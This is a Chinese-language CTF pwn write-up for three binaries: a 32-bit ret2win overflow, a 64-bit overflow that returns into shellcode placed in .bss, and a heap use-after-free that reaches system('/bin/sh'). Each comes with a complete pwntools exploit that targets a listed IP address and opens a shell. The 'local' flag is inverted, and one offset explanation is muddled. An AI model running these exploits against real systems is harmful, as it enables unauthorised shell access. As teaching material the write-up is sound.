小狗汪汪汪
以下命令可以以首字母简写。

checksec woof拿到题目先查下,有哪些地方被保护了,这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码,用来防止栈溢出攻击中植入的 shellcode 执行。

gdb woof这里就直接用 gdb 进行调试了,先导入程序分析下。

info functions // 查看函数表查看有哪些函数,发现有一个很敏感的函数 getshell 因为这道题跟小狗有关,这里我也加上了dog,这两个函数可以都看看。

break main // 断点main函数
run这里我就在 main 函数下个断点吧,让它先跑起来。

next跑起来后就单步步过,按 n 键一直往下走,直到执行让我们输入的时候,这里我正常输入几个 a 然后回车,程序就会停下来。

再查看堆栈,这里 esp 是栈顶,ebp是栈底,如何溢出呢?只要我们填充垃圾数据 a * 13 字节就能到函数返回,这个时候只要在溢出的返回点传入一个地址,那么就会执行。

在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b),因为程序是 32 位的所以 p32。

cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量,这里我生成了100字节的垃圾数据,进行输入填充。

cyclic -l 0x65616161好了,现在就可以用 python 进行编写 exp 了。
from pwn import *
local = True
if local:
io = remote('120.46.59.242', 2116)
else:
io = process('./woof')
payload = b'a' * 13 + p32(0x804859b)
io.sendline(payload)
io.interactive()play
这里就用 IDA 进行分析了。

进入主函数可以发现这里调用了两个函数,init 和 play 。

进入 init 可以发现只是做了初始化,没什么用直接看play函数。

可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48,而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。

在 gets 上面还有一个 _read 函数,它的 buf 正好是 .bss 段,我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8, 48(缓冲区大小)+ 4(覆盖 rbp)+ 4(覆盖返回地址)。
from pwn import *
context(arch='amd64', os='linux')
local = True
if local:
io = remote('120.46.59.242', 2072)
else:
io = process('./play')
shellcode = asm(shellcraft.sh())
io.sendlineafter('playing.\n', shellcode)
offset = 0x38
buf = 0x6010A0
payload = b'a' * offset + p64(buf)
io.sendline(payload)
io.interactive()首先通过,第一个函数 _read 写入 shellcode 到 .bss 段,然后通过 gets 溢出到返回执行 shellcode 最终得到交互。

heap_Easy_Uaf

通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。

main函数里主要有一个菜单输出,然后就是 switch 选择,可利用的函数是 Are 函数。

发现一个关键的地方,那就是 system('/bin/sh'),它被一个判断给包裹住了,仔细观察 a = malloc 申请了一个空间,通过 strcpy 把 flag 字符串复制到申请的地址 a 中,然后 free 又释放掉了 a,指针 a 并没有被置为NULL,而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。

用 sendafter 模拟等出 Choice! 字符串就发送 5,就会执行 are 函数然后输入大小 0x68 十进制是 104,满足后再输入 Flag,就满足所有条件了。
from pwn import *
local = True
if local:
io = remote('120.46.59.242',2069)
else:
io = process('./heap_Easy_Uaf')
io.sendafter(b'Choice!', b'5')
io.sendafter(b'size :', b'104')
io.sendafter(b'Content :', b'Flag')
io.interactive()
评论 (0)